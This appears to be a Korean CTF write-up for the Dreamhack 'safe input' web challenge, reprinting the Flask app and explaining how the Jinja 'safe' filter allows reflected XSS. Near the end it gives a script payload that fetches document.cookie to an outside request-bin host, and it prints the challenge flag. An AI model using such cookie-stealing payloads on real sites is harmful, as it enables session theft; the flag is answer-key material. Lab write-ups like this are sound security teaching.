이번에 풀어볼 문제는 dreamhack safe input 문제다.
from flask import Flask, redirect, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from time import sleep
from os import urandom, environ
from urllib.parse import quote
app = Flask(__name__)
app.secretkey = urandom(32)
FLAG = environ.get("FLAG", "DH{fake_flag}")
PASSWORD = environ.get("PASSWORD", "1234")
def access_page(text, cookie={"name": "name", "value": "value"}):
try:
service = Service(executable_path="/chromedriver-linux64/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get(f"http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
sleep(1)
except Exception as e:
print(e, flush=True)
driver.quit()
return False
driver.quit()
return True
@app.route("/", methods=["GET"])
def index():
return redirect("/test")
@app.route("/test", methods=["GET"])
def intro():
text = request.args.get("text")
return render_template("test.html", test=text)
@app.route("/report", methods=["GET", "POST"])
def report():
if request.method == "POST":
text = request.form.get("text")
if not text:
return render_template("report.html", msg="fail")
else:
if access_page(text, cookie={"name": "flag", "value": FLAG}):
return render_template("report.html", message="Success")
else:
return render_template("report.html", message="fail")
else:
return render_template("report.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)
app.py의 내용입니다.
@app.route("/report", methods=["GET", "POST"])
def report():
if request.method == "POST":
text = request.form.get("text")
if not text:
return render_template("report.html", msg="fail")
else:
if access_page(text, cookie={"name": "flag", "value": FLAG}):
return render_template("report.html", message="Success")
else:
return render_template("report.html", message="fail")
else:
return render_template("report.html")
app.py의 report 라우트를 보면 report 페이지를 이용해서 flag 값을 얻을 수 있는 것을 확인할 수 있습니다.
def access_page(text, cookie={"name": "name", "value": "value"}):
try:
service = Service(executable_path="/chromedriver-linux64/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get(f"http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(f"http://127.0.0.1:8000/test?text={quote(text)}")
sleep(1)
except Exception as e:
print(e, flush=True)
driver.quit()
return False
driver.quit()
return True
access_page 함수입니다.
여기서 봐야할 건 driver.add_cookie(cookie) 부분입니다.
여기에서 쿠키 값은 report 라우트를 확인하면 "name": flag", "value": FLAG 인 것을 확인할 수 있고
app.py에서 보면 FLAG = environ.get("FLAG", "DH{fake_flag}") 인 것을 확인할 수 있습니다.
즉 쿠키 값에 flag 값이 있다는 것을 알 수 있습니다.
하지만 이 쿠키 값은 서버의 브라우저에서 설정됩니다.
즉 서버의 브라우저에 있는 쿠키 값을 읽어야 flag를 얻을 수 있습니다.

그리고 test.html 코드를 보면 위와 같은 코드를 볼 수 있는데 safe는 해당 변수의 값을 escape하지 않고 그대로 출력한다는 의미입니다.
즉 입력 값 검증이 없다는 뜻입니다.
test?text=</script><script>alert("test")</script>
위와 같이 입력하면

이렇게 test alert이 뜨는 것을 확인할 수 있습니다.
이것으로 XSS가 된다는 것을 확인할 수 있고 이제 XSS를 이용해서 서버 측 브라우저에서 cookie 값을 가져와야 합니다.
cookie 값을 가져올 땐 fetch 함수와 dreamhack tools를 이용했습니다.
</script><script>fetch('https://srnszta.request.dreamhack.games?cookie='+document.cookie)</script>
위와 같이 작성한 스크립트 문을 /report에 적어서 제출하면

dreamhack tools 사이트에서 flag 값을 확인할 수 있습니다.
Flag
| DH{3315a6d57505990bd277a89e82b2aa062fe346279ed019ca8096df3f5ecdaba2} |
'Dreamhack > Web' 카테고리의 다른 글
| [Dreamhack] BISC board (0) | 2025.11.25 |
|---|---|
| [Dreamhack] phpmyredis (0) | 2025.11.24 |
| [Dreamhack] PATCH-1 (0) | 2025.08.20 |
| [Dreamhack] chocoshop (0) | 2025.08.13 |